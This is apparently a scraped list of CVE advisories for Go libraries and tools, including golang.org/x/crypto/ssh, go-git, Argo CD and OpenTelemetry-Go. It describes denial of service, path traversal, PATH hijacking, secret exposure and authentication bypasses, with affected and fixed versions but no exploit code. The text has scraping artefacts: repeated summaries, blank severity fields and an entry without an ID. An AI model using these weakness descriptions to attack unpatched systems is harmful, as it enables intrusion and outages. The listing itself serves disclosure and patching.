and/or policy hardening."

CVE-2026-42507 (GCVE-0-2026-42507)

Vulnerability from cvelistv5 – Published: 2026-06-02 22:01 – Updated: 2026-06-03 19:04

Title

Arbitrary inputs are included in errors without any escaping in net/textproto

Summary

When returning errors, functions in the net/textproto package would include its input as part of the error. This might allow an attacker to inject misleading content to errors that are printed or logged.

Severity ?

5.3 (Medium)

CVE-2025-58183 (GCVE-0-2025-58183)

Vulnerability from cvelistv5 – Published: 2025-10-29 22:10 – Updated: 2025-11-04 21:13

Title

Unbounded allocation when parsing GNU sparse map in archive/tar

Summary

tar.Reader does not set a maximum size on the number of sparse region data blocks in GNU tar pax 1.0 sparse files. A maliciously-crafted archive containing a large number of sparse regions can cause a Reader to read an unbounded amount of data from the archive into memory. When reading from a compressed source, a small compressed input can result in large allocations.

Severity ?

4.3 (Medium)

CVE-2025-47912 (GCVE-0-2025-47912)

Vulnerability from cvelistv5 – Published: 2025-10-29 22:10 – Updated: 2025-11-04 21:10

Title

Insufficient validation of bracketed IPv6 hostnames in net/url

Summary

The Parse function permits values other than IPv6 addresses to be included in square brackets within the host component of a URL. RFC 3986 permits IPv6 addresses to be included within the host component, enclosed within square brackets. For example: "http://[::1]/". IPv4 addresses and hostnames must not appear within square brackets. Parse did not enforce this requirement.

Severity ?

5.3 (Medium)

CVE-2026-45022 (GCVE-0-2026-45022)

Vulnerability from cvelistv5 – Published: 2026-05-27 14:54 – Updated: 2026-05-27 15:43

Title

go-git: Improper parsing of specially crafted objects may lead to inconsistent interpretation compared to upstream Git

Summary

go-git is an extensible git implementation library written in pure Go. Prior to 5.19.0 and 6.0.0-alpha.3, go-git may parse malformed Git objects in a way that differs from upstream Git. When commit or tag objects contain ambiguous or malformed headers, go-git’s decoded representation may expose values differently from how Git itself would interpret or reject the same object. Additionally, go-git’s commit signing and verification logic operates over commit data reconstructed from go-git’s parsed representation rather than the original raw object bytes. As a result, go-git may sign or verify a commit payload that is not byte-for-byte equivalent to the object stored in the repository. This can cause a signature to appear valid for a commit whose displayed or effective metadata differs from the object that was intended to be signed. This vulnerability is fixed in 5.19.0 and 6.0.0-alpha.3.

Severity ?

Prior to 5.19.0 and 6.0.0-alpha.3, go-git may parse malformed Git objects in a way that differs from upstream Git. When commit or tag objects contain ambiguous or malformed headers, go-git\u2019s decoded representation may expose values differently from how Git itself would interpret or reject the same object. Additionally, go-git\u2019s commit signing and verification logic operates over commit data reconstructed from go-git\u2019s parsed representation rather than the original raw object bytes. As a result, go-git may sign or verify a commit payload that is not byte-for-byte equivalent to the object stored in the repository. This can cause a signature to appear valid for a commit whose displayed or effective metadata differs from the object that was intended to be signed. This vulnerability is fixed in 5.19.0 and 6.0.0-alpha.3."

CVE-2026-39834 (GCVE-0-2026-39834)

Vulnerability from cvelistv5 – Published: 2026-05-22 02:31 – Updated: 2026-05-22 18:50

Title

Invoking infinite loop on large channel writes in golang.org/x/crypto/ssh

Summary

When writing data larger than 4GB in a single Write call on an SSH channel, an integer overflow in the internal payload size calculation caused the write loop to spin indefinitely, sending empty packets without making progress. The size comparison now uses int64 to prevent truncation.

Severity ?

9.1 (Critical)

CVE-2026-45571 (GCVE-0-2026-45571)

Vulnerability from cvelistv5 – Published: 2026-05-27 14:57 – Updated: 2026-05-27 16:03

Title

go-git: Crafted repositories may modify main and submodule .git directories

Summary

go-git is an extensible git implementation library written in pure Go. Prior to 5.19.1 and 6.0.0-alpha.4, a path validation issue in go-git could allow crafted repository data to affect files outside the intended checkout target, including the repository's .git directory. These validations were introduced in upstream Git years ago, so the vulnerability arose from go-git drifting from those checks. This vulnerability is fixed in 5.19.1 and 6.0.0-alpha.4.

Severity ?

5.4 (Medium)

CVE-2026-27145 (GCVE-0-2026-27145)

Vulnerability from cvelistv5 – Published: 2026-06-02 22:01 – Updated: 2026-07-03 12:04

Title

Inefficient candidate hostname parsing in crypto/x509

Summary

(*x509.Certificate).VerifyHostname previously called matchHostnames in a loop over all DNS Subject Alternative Name (SAN) entries. This caused strings.Split(host, ".") to execute repeatedly on the same input hostname. With a large DNS SAN list, verification costs scaled quadratically based on the number of SAN entries multiplied by the hostname's label count. Because x509.Verify validates hostnames before building the certificate chain, this overhead occurred even for untrusted certificates.

Severity ?

When verifying a TLS certificate hostname, VerifyHostname processed each DNS Subject Alternative Name (SAN) entry in a loop and repeatedly split the candidate hostname on \".\" characters. For certificates with a very large DNS SAN list, CPU use could grow quadratically with the number of SAN entries and hostname labels. Because hostname verification runs before the certificate chain is built, this overhead can occur even when the certificate is not trusted.\n\nRed Hat rates this issue as Important. It affects Red Hat products that include the Go standard library crypto/x509 code from an affected Go toolchain version (before Go 1.25.11, or from Go 1.26.0 through Go 1.26.3). Applications and container images built with a fixed Go release (1.25.11 or later, or 1.26.4 or later) are not affected. Community distributions such as Fedora are also affected.\n\nUpstream fix: Go 1.25.11 and Go 1.26.4 (GO-2026-5037)."

CVE-2026-39830 (GCVE-0-2026-39830)

Vulnerability from cvelistv5 – Published: 2026-05-22 02:31 – Updated: 2026-07-03 12:05

Title

Invoking client can cause server deadlock on unexpected responses in golang.org/x/crypto/ssh

Summary

A malicious SSH peer could send unsolicited global request responses to fill an internal buffer, blocking the connection's read loop. The blocked goroutine could not be released by calling Close(), resulting in a resource leak per connection. Unsolicited global responses are now discarded.

Severity ?

9.1 (Critical)

CVE-2026-39833 (GCVE-0-2026-39833)

Vulnerability from cvelistv5 – Published: 2026-05-22 02:31 – Updated: 2026-05-22 18:58

Title

Invoking key constraints not enforced in golang.org/x/crypto/ssh/agent

Summary

The in-memory keyring returned by NewKeyring() silently accepted keys with the ConfirmBeforeUse constraint but never enforced it. The key would sign without any confirmation prompt, with no indication to the caller that the constraint was not in effect. NewKeyring() now returns an error when unsupported constraints are requested.

Severity ?

CVE-2026-39821 (GCVE-0-2026-39821)

Vulnerability from cvelistv5 – Published: 2026-05-22 15:01 – Updated: 2026-07-02 12:04

Title

Invoking failure to reject ASCII-only Punycode-encoded labels in golang.org/x/net/idna

Summary

The ToASCII and ToUnicode functions incorrectly accept Punycode-encoded labels that decode to an ASCII-only label. For example, ToUnicode("xn--example-.com") incorrectly returns the name "example.com" rather than an error. This behavior can lead to privilege escalation in programs using the idna package. For example, a program which performs privilege checks on the ASCII hostname may reject "example.com" but permit "xn--example-.com". If that program subsequently converts the ASCII hostname to Unicode, it will inadvertently permits access to the Unicode name "example.com".

For example, a program which performs privilege checks on the ASCII hostname may reject \"example.com\" but permit \"xn--example-.com\". If that program subsequently converts the ASCII hostname to Unicode, it will inadvertently permits access to the Unicode name \"example.com\"."

CVE-2026-39829 (GCVE-0-2026-39829)

Vulnerability from cvelistv5 – Published: 2026-05-22 02:31 – Updated: 2026-07-03 12:04

Title

Invoking pathological RSA/DSA parameters may cause DoS in golang.org/x/crypto/ssh

Summary

The RSA and DSA public key parsers did not enforce size limits on key parameters. A crafted public key with an excessively large modulus or DSA parameter could cause several minutes of CPU consumption during signature verification. This could be triggered by unauthenticated clients during public key authentication. RSA moduli are now limited to 8192 bits, and DSA parameters are validated per FIPS 186-2.

Severity ?

7.5 (High)

CVE-2026-29181 (GCVE-0-2026-29181)

Vulnerability from cvelistv5 – Published: 2026-04-07 20:29 – Updated: 2026-06-30 12:07

Title

OpenTelemetry-Go multi-value `baggage` header extraction causes excessive allocations (remote dos amplification)

Summary

OpenTelemetry-Go is the Go implementation of OpenTelemetry. From 1.36.0 to 1.40.0, multi-value baggage: header extraction parses each header field-value independently and aggregates members across values. This allows an attacker to amplify cpu and allocations by sending many baggage: header lines, even when each individual value is within the 8192-byte per-value parse limit. This vulnerability is fixed in 1.41.0.

Severity ?

7.5 (High)

CVE-2025-55191 (GCVE-0-2025-55191)

Vulnerability from cvelistv5 – Published: 2025-09-30 22:52 – Updated: 2025-10-06 18:32

Title

Repository Credentials Race Condition Crashes Argo CD Server

Summary

Argo CD is a declarative, GitOps continuous delivery tool for Kubernetes. Versions between 2.1.0 and 2.14.19, 3.2.0-rc1, 3.1.0-rc1 through 3.1.7, and 3.0.0-rc1 through 3.0.18 contain a race condition in the repository credentials handler that can cause the Argo CD server to panic and crash when concurrent operations are performed on the same repository URL. The vulnerability is located in numerous repository related handlers in the util/db/repository_secrets.go file. A valid API token with repositories resource permissions (create, update, or delete actions) is required to trigger the race condition. This vulnerability causes the entire Argo CD server to crash and become unavailable. Attackers can repeatedly and continuously trigger the race condition to maintain a denial-of-service state, disrupting all GitOps operations. This issue is fixed in versions 2.14.20, 3.2.0-rc2, 3.1.8 and 3.0.19.

CVE-2026-39828 (GCVE-0-2026-39828)

Vulnerability from cvelistv5 – Published: 2026-05-22 02:31 – Updated: 2026-07-02 12:05

Title

Invoking bypass of certificate restrictions in golang.org/x/crypto/ssh

Summary

When an SSH server authentication callback returned PartialSuccessError with non-nil Permissions, those permissions were silently discarded, potentially dropping certificate restrictions such as force-command after a second factor succeeded. Returning non-nil Permissions with PartialSuccessError now results in a connection error.

Severity ?

CVE-2025-55190 (GCVE-0-2025-55190)

Vulnerability from cvelistv5 – Published: 2025-09-04 22:37 – Updated: 2025-09-05 16:07

Title

Argo CD: Project API Token Exposes Repository Credentials

Summary

Argo CD is a declarative, GitOps continuous delivery tool for Kubernetes. In versions 2.13.0 through 2.13.8, 2.14.0 through 2.14.15, 3.0.0 through 3.0.12 and 3.1.0-rc1 through 3.1.1, API tokens with project-level permissions are able to retrieve sensitive repository credentials (usernames, passwords) through the project details API endpoint, even when the token only has standard application management permissions and no explicit access to secrets. This vulnerability does not only affect project-level permissions. Any token with project get permissions is also vulnerable, including global permissions such as: `p, role/user, projects, get, *, allow`. This issue is fixed in versions 2.13.9, 2.14.16, 3.0.14 and 3.1.2.

Severity ?

CVE-2026-44740 (GCVE-0-2026-44740)

Vulnerability from cvelistv5 – Published: 2026-06-01 16:04 – Updated: 2026-06-01 18:14

Title

go-billy: Lack of depth and cycle detection in symlink resolution may lead to infinite loops and resource exhaustion

Summary

Billy is an interface filesystem abstraction for Go. Prior to versions 5.9.0 and 6.0.0-alpha.1, multiple components may improperly handle crafted or malformed input, resulting in panics, infinite loops, uncontrolled recursion, or excessive resource consumption. These issues arise from insufficient validation and missing safety mechanisms such as cycle detection, recursion limits, or defensive handling of unexpected states when processing untrusted repository data and filesystem structures. This issue has been patched in versions 5.9.0 and 6.0.0-alpha.1.

Severity ?

6.5 (Medium)

CVE-2026-34986 (GCVE-0-2026-34986)

Vulnerability from cvelistv5 – Published: 2026-04-06 16:22 – Updated: 2026-07-03 12:04

Title

Go JOSE affect by a panic in JWE decryption

Summary

Go JOSE provides an implementation of the Javascript Object Signing and Encryption set of standards in Go, including support for JSON Web Encryption (JWE), JSON Web Signature (JWS), and JSON Web Token (JWT) standards. Prior to 4.1.4 and 3.0.5, decrypting a JSON Web Encryption (JWE) object will panic if the alg field indicates a key wrapping algorithm (one ending in KW, with the exception of A128GCMKW, A192GCMKW, and A256GCMKW) and the encrypted_key field is empty. The panic happens when cipher.KeyUnwrap() in key_wrap.go attempts to allocate a slice with a zero or negative length based on the length of the encrypted_key. This code path is reachable from ParseEncrypted() / ParseEncryptedJSON() / ParseEncryptedCompact() followed by Decrypt() on the resulting object. Note that the parse functions take a list of accepted key algorithms. If the accepted key algorithms do not include any key wrapping algorithms, parsing will fail and the application will be unaffected. This panic is also reachable by calling cipher.KeyUnwrap() directly with any ciphertext parameter less than 16 bytes long, but calling this function directly is less common. Panics can lead to denial of service. This vulnerability is fixed in 4.1.4 and 3.0.5.

Prior to 4.1.4 and 3.0.5, decrypting a JSON Web Encryption (JWE) object will panic if the alg field indicates a key wrapping algorithm (one ending in KW, with the exception of A128GCMKW, A192GCMKW, and A256GCMKW) and the encrypted_key field is empty. The panic happens when cipher.KeyUnwrap() in key_wrap.go attempts to allocate a slice with a zero or negative length based on the length of the encrypted_key. This code path is reachable from ParseEncrypted() / ParseEncryptedJSON() / ParseEncryptedCompact() followed by Decrypt() on the resulting object. Note that the parse functions take a list of accepted key algorithms. If the accepted key algorithms do not include any key wrapping algorithms, parsing will fail and the application will be unaffected. This panic is also reachable by calling cipher.KeyUnwrap() directly with any ciphertext parameter less than 16 bytes long, but calling this function directly is less common. Panics can lead to denial of service. This vulnerability is fixed in 4.1.4 and 3.0.5."

CVE-2025-58186 (GCVE-0-2025-58186)

Vulnerability from cvelistv5 – Published: 2025-10-29 22:10 – Updated: 2025-11-04 21:13

Title

Lack of limit when parsing cookies can cause memory exhaustion in net/http

Summary

Despite HTTP headers having a default limit of 1MB, the number of cookies that can be parsed does not have a limit. By sending a lot of very small cookies such as "a=;", an attacker can make an HTTP server allocate a large amount of structs, causing large memory consumption.

Severity ?

5.3 (Medium)

Summary

Billy is an interface filesystem abstraction for Go. Prior to 5.9.0, multiple path traversal issues exist across different components of go-billy. Insufficient path sanitization and boundary enforcement may allow crafted paths (e.g., using ..) to escape intended base directories. While go-billy was not originally designed to provide a strong security boundary, some of these issues were inconsistent across some of the built-in implementations. This results in scenarios where applications relying on go-billy for some level of isolation may inadvertently expose access to unintended filesystem locations. This vulnerability is fixed in 5.9.0.

Severity ?

8.1 (High)

CVE-2026-24051 (GCVE-0-2026-24051)

Vulnerability from cvelistv5 – Published: 2026-02-02 19:49 – Updated: 2026-02-03 14:54

Title

OpenTelemetry-Go Affected by Arbitrary Code Execution via PATH Hijacking

Summary

OpenTelemetry-Go is the Go implementation of OpenTelemetry. The OpenTelemetry Go SDK in version v1.20.0-1.39.0 is vulnerable to Path Hijacking (Untrusted Search Paths) on macOS/Darwin systems. The resource detection code in sdk/resource/host_id.go executes the ioreg system command using a search path. An attacker with the ability to locally modify the PATH environment variable can achieve Arbitrary Code Execution (ACE) within the context of the application. A fix was released with v1.40.0.

CVE-2026-39827 (GCVE-0-2026-39827)

Vulnerability from cvelistv5 – Published: 2026-05-22 02:31 – Updated: 2026-05-22 18:35

Title

Invoking memory leak when rejecting channels can lead to DoS in golang.org/x/crypto/ssh

Summary

An authenticated SSH client that repeatedly opened channels which were rejected by the server caused unbounded memory growth, eventually crashing the server process and affecting all connected users. Rejected channels are now properly removed from the connection's internal state and released for garbage collection.

CVE-2026-39835 (GCVE-0-2026-39835)

Vulnerability from cvelistv5 – Published: 2026-05-22 02:31 – Updated: 2026-07-03 12:05

Title

Invoking server panic during CheckHostKey/Authenticate in golang.org/x/crypto/ssh

Summary

SSH servers which use CertChecker as a public key callback without setting IsUserAuthority or IsHostAuthority could be caused to panic by a client presenting a certificate. CertChecker now returns an error instead of panicking when these callbacks are nil.

Severity ?

5.3 (Medium)

CVE-2026-45570 (GCVE-0-2026-45570)

Vulnerability from cvelistv5 – Published: 2026-05-27 14:59 – Updated: 2026-05-28 15:12

Title

go-git: Improper single-quote escaping in go-git SSH transport

Summary

go-git is an extensible git implementation library written in pure Go. Prior to 5.19.1 and 6.0.0-alpha.4, go-git's SSH transport constructs the remote exec command by wrapping the repository path in single quotes without escaping single quotes embedded inside the path. A repository path containing a single quote can therefore break out of the quoted region in the exec command and be appended as additional shell tokens. This vulnerability is fixed in 5.19.1 and 6.0.0-alpha.4.

Severity ?

2.3 (Low)

CVE-2026-35469 (GCVE-0-2026-35469)

Vulnerability from cvelistv5 – Published: 2026-04-16 21:19 – Updated: 2026-07-01 12:04

Title

SpdyStream: DOS on CRI

Summary

spdystream is a Go library for multiplexing streams over SPDY connections. In versions 0.5.0 and below, the SPDY/3 frame parser does not validate attacker-controlled counts and lengths before allocating memory. Three allocation paths are affected: the SETTINGS frame entry count, the header count in parseHeaderValueBlock, and individual header field sizes — all read as 32-bit integers and used directly as allocation sizes with no bounds checking. Because SPDY header blocks are zlib-compressed, a small on-the-wire payload can decompress into large attacker-controlled values. A remote peer that can send SPDY frames to a service using spdystream can exhaust process memory and cause an out-of-memory crash with a single crafted control frame. This issue has been fixed in version 0.5.1.

Severity ?

8.7 (High)

Three allocation paths are affected: the SETTINGS frame entry count, the header count in parseHeaderValueBlock, and individual header field sizes \u2014 all read as 32-bit integers and used directly as allocation sizes with no bounds checking. Because SPDY header blocks are zlib-compressed, a small on-the-wire payload can decompress into large attacker-controlled values. A remote peer that can send SPDY frames to a service using spdystream can exhaust process memory and cause an out-of-memory crash with a single crafted control frame. This issue has been fixed in version 0.5.1."

CVE-2026-42880 (GCVE-0-2026-42880)

Vulnerability from cvelistv5 – Published: 2026-05-07 22:20 – Updated: 2026-06-30 12:08

Title

ArgoCD ServerSideDiff is vulnerable to Kubernetes Secret Extraction

Summary

Argo CD is a declarative, GitOps continuous delivery tool for Kubernetes. From versions 3.2.0 to before 3.2.11 and 3.3.0 to before 3.3.9, there is a missing authorization and data-masking gap in Argo CD's ServerSideDiff endpoint that allows an attacker with read-only access to extract plaintext Kubernetes Secret data from etcd via the Kubernetes API server's Server-Side Apply dry-run mechanism. This issue has been patched in versions 3.2.11 and 3.3.9.

Severity ?

9.6 (Critical)

CVE-2026-39831 (GCVE-0-2026-39831)

Vulnerability from cvelistv5 – Published: 2026-05-22 02:31 – Updated: 2026-05-22 18:52

Title

Invoking bypass of FIDO/U2F security keys physical interaction in golang.org/x/crypto/ssh

Summary

The Verify() method for FIDO/U2F security key types (sk-ecdsa-sha2-nistp256@openssh.com, sk-ssh-ed25519@openssh.com) did not check the User Presence flag. Signatures generated without physical touch were accepted, allowing unattended use of a hardware security key. To restore the previous behavior, return a "no-touch-required" extension in Permissions.Extensions from PublicKeyCallback.

Severity ?

9.1 (Critical)

CVE-2026-39883 (GCVE-0-2026-39883)

Vulnerability from cvelistv5 – Published: 2026-04-08 20:26 – Updated: 2026-07-01 12:05

Title

OpenTelemetry-Go has an incomplete fix for CVE-2026-24051: BSD kenv command not using absolute path enables PATH hijacking

Summary

OpenTelemetry-Go is the Go implementation of OpenTelemetry. From 1.15.0 to 1.42.0, the fix for CVE-2026-24051 changed the Darwin ioreg command to use an absolute path but left the BSD kenv command using a bare name, allowing the same PATH hijacking attack on BSD and Solaris platforms. This vulnerability is fixed in 1.43.0.

Severity ?

7.3 (High)

CVE-2026-34165 (GCVE-0-2026-34165)

Vulnerability from cvelistv5 – Published: 2026-03-31 13:46 – Updated: 2026-04-02 15:10

Title

go-git: Maliciously crafted idx file can cause asymmetric memory consumption

Summary

go-git is an extensible git implementation library written in pure Go. From version 5.0.0 to before version 5.17.1, a vulnerability has been identified in which a maliciously crafted .idx file can cause asymmetric memory consumption, potentially exhausting available memory and resulting in a denial-of-service (DoS) condition. Exploitation requires write access to the local repository's .git directory, it order to create or alter existing .idx files. This issue has been patched in version 5.17.1.

CVE-2026-33762 (GCVE-0-2026-33762)

Vulnerability from cvelistv5 – Published: 2026-03-31 13:47 – Updated: 2026-03-31 18:53

Title

go-git: Missing validation decoding Index v4 files leads to panic

Summary

go-git is an extensible git implementation library written in pure Go. Prior to version 5.17.1, go-git’s index decoder for format version 4 fails to validate the path name prefix length before applying it to the previously decoded path name. A maliciously crafted index file can trigger an out-of-bounds slice operation, resulting in a runtime panic during normal index parsing. This issue only affects Git index format version 4. Earlier formats (go-git supports only v2 and v3) are not vulnerable to this issue. This issue has been patched in version 5.17.1.

Severity ?

2.8 (Low)

Prior to version 5.17.1, go-git\u2019s index decoder for format version 4 fails to validate the path name prefix length before applying it to the previously decoded path name. A maliciously crafted index file can trigger an out-of-bounds slice operation, resulting in a runtime panic during normal index parsing. This issue only affects Git index format version 4. Earlier formats (go-git supports only v2 and v3) are not vulnerable to this issue. This issue has been patched in version 5.17.1."
